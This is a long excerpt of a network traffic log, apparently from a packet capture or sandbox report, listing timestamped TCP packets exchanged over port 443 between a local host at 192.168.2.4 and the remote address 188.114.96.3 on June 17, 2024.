Jun 17, 2024 16:18:48.457473993 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457488060 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457557917 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.457572937 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457617998 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.457617998 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457627058 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457644939 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457657099 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.457686901 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.457694054 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457729101 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.457874060 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457887888 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457927942 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.457937956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457948923 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457962036 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.457969904 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.457981110 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.457986116 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458034039 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458204031 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458219051 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458249092 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458256006 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458268881 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458292007 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458323956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458337069 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458362103 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458368063 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458390951 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458405018 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458518982 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458534956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458581924 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458591938 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458616018 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458622932 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458631039 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458652020 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458661079 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458667040 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458697081 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458714008 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.458983898 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.458997011 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459028006 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459037066 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459060907 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459076881 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459358931 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459372997 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459413052 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459424973 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459444046 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459461927 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459623098 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459636927 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459697962 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459707975 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459743023 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459758043 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459773064 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459815979 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459825039 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459867954 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459881067 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459896088 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459924936 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459933996 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.459949970 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.459973097 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460073948 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460088015 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460114956 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460124016 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460145950 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460161924 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460376024 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460391045 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460432053 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460441113 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460453987 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460464001 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460474968 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460496902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460503101 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460521936 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460549116 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460602999 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460616112 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460644007 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460650921 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460664988 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460686922 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460768938 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460784912 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460809946 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460815907 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460839987 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460855007 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460922956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460937977 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460963011 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.460968971 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.460997105 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461013079 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461092949 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461107969 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461132050 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461138964 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461158991 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461174965 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461275101 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461291075 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461318016 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461325884 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461335897 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461343050 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461353064 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461358070 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461363077 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461386919 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461426020 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461591959 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461610079 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461656094 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461662054 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461672068 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461688995 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461699963 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461704969 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461730957 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461757898 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461841106 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461853981 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461894989 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.461900949 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.461937904 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462003946 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462018013 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462049007 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462054014 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462079048 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462100029 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462146997 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462161064 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462193012 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462198973 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462219000 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462236881 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462419987 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462445974 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462474108 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462479115 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462491035 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462492943 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462508917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462512970 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462517977 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462543011 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462574959 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462619066 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462759018 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462821007 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462836981 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462871075 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462876081 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462888002 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462910891 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462922096 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462935925 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.462965965 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.462971926 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463004112 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463021040 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463061094 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463074923 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463104963 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463110924 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463134050 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463141918 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463170052 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463330984 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463346004 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463385105 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463391066 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463426113 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463529110 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463543892 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463578939 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463586092 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463623047 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463716984 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463861942 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463876963 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463903904 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463917971 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463931084 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463932037 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463931084 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463948965 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463953972 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463958979 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.463970900 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.463984013 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464013100 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464013100 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464124918 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464138031 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464163065 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464169979 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464195013 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464210987 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464298010 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464317083 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464349985 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464354038 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464363098 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464380026 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464396000 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464416027 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464421988 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464449883 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464471102 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464570999 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464600086 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464612961 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464651108 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464651108 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464659929 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464678049 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464694023 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464705944 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464731932 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464745998 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464770079 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464776039 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464802980 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464818001 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464835882 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464884996 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464898109 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464926004 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464935064 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.464952946 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.464972019 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465030909 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465195894 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465205908 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465224028 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465249062 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465256929 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465269089 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465279102 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465286016 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465293884 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465298891 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465321064 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465344906 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465464115 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465554953 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465570927 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465598106 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465605974 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465627909 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465639114 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465648890 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465656042 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465665102 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465679884 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465708971 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465711117 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465719938 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465749025 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465749979 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465765953 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465771914 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465795994 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465810061 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465818882 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465861082 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465876102 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465902090 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465910912 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.465930939 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465948105 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.465965986 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466178894 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466206074 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466218948 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466242075 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466248989 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466270924 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466286898 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466336012 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466350079 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466377974 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466386080 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466404915 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466418028 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466445923 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466536999 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466551065 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466577053 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466586113 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466607094 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466622114 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466830015 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466846943 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466872931 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466881037 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466892958 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466900110 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466917038 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466922045 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466929913 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.466947079 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.466976881 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467035055 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467047930 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467082977 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467082977 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467092037 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467108011 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467123985 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467196941 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467211008 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467236042 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.467245102 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.467262030 CEST	49732	443	192.168.2.4	188.114.96.3
